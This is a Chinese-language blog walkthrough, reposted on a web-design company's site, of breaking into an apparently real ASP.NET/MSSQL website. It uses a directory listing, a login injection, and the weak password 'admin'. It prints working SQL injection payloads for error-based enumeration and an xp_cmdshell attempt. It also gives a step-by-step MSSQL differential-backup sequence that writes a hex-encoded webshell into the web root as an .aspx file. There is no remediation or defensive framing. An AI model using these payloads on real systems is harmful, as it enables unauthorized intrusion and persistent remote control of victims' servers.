一次差异备份拿shell过程-成都快上网建站

一次差异备份拿shell过程

0x00 前言


扫描器扫到了某个网站存在目录浏览,于是便有了本文。。。

创新互联公司从2013年创立,是专业互联网技术服务公司,拥有项目网站设计、网站制作网站策划,项目实施与项目整合能力。我们以让每一个梦想脱颖而出为使命,1280元大兴做网站,已为上家服务,为大兴各地企业和个人服务,联系电话:18980820575

知识点科普:

1. 目录浏览

目录浏览在我个人看来是危害较大的一个漏洞,该漏洞是指“在没有默认文档的目录下,列出该目录下所有文件名及文件信息”,如果站点存在这种错误配置,***者如果知道其中目录名,则可以查看到这些目录下的文件。

一次差异备份拿shell过程

2.差异备份条件
  1. 站点绝对路径
  2. 具有路径写入权限
  3. 具备当前数据库权限

0x01 正文


站点配置不当,导致目录浏览,通过查看首页的源代码,翻到了几个目录
一次差异备份拿shell过程
一次差异备份拿shell过程
随便访问了一个,发现会报错,说明网站管理员并没有把错误信息屏蔽
一次差异备份拿shell过程
还存在信息泄漏。。
一次差异备份拿shell过程

但是通常目录下的文件是需要传递参数去执行的,我们并不知道参数名,所以并没办法利用


辗转后到前台登录界面查看
一次差异备份拿shell过程
尝试了一下,发现密码处存在注入和弱口令admin,也就是可以用万能密码登录啦
本来想找一处文件上传,直接getshell,但是发现好像不存在,却发现了网站使用了kindeditor和网站绝对路径
一次差异备份拿shell过程

那么前面登录口处存在注入,后台一般也有很多注入的啦,尝试找一下,如果有的话,配合绝对路径可以进行getshell
一次差异备份拿shell过程
一次差异备份拿shell过程

okok,发现注入啦,但到目前为止并不知道数据库是什么类型,一般aspx+mssql,由于前面发现是可以报错的,那么尝试使用mssql的报错方式

%' and 1=@@version --a

一次差异备份拿shell过程

mssql数据库,查看一下当前的用户身份

%' and 1=user --a

一次差异备份拿shell过程

dbo的权限并不是sa,尝试一下xp_cmdshell

%';exec('master..xp_cmdshell whoami') --a

一次差异备份拿shell过程

并没有开启xp_cmdshell,且dbo的权限是不足以开启xp_cmdshell的,那么只能尝试使用差异备份的方式来写入一个webshell

1. 获取当前数据库名称
%' and 1=db_name() --a

一次差异备份拿shell过程

2. 对当前数据库进行备份
%';backup database 数据库名称 to disk = '绝对路径' with init --a 

如果成功备份,则网页返回%'的查询结果(因为是堆叠且后面语句的执行并不会有返回结果)

3.创建表格,并写入webshell
%';create table cmd(a image) --a
%';insert into cmd(a) values (0xxxxx) --a  //webshell的hex值

可以用网上的工具,笔者用以前自己开发的小工具
一次差异备份拿shell过程

4.进行第二次备份
%';backup log 数据库名称 to disk = '绝对路径\\abc.aspx'--

这里我将webshell写入子目录中,因为有目录浏览,能确切看到文件是否产生
一次差异备份拿shell过程

创建成功后,尝试连接
一次差异备份拿shell过程

0x02 后续

  1. 如果能直接使用xp_cmdshell就尽量不要使用差异备份,因为会产生备份文件,如果数据库很大的话,会造成影响
    一次差异备份拿shell过程
  2. 有任何错误,请斧正

分享题目:一次差异备份拿shell过程
网页链接:http://kswjz.com/article/pgjspd.html
扫二维码与项目经理沟通

我们在微信上24小时期待你的声音

解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流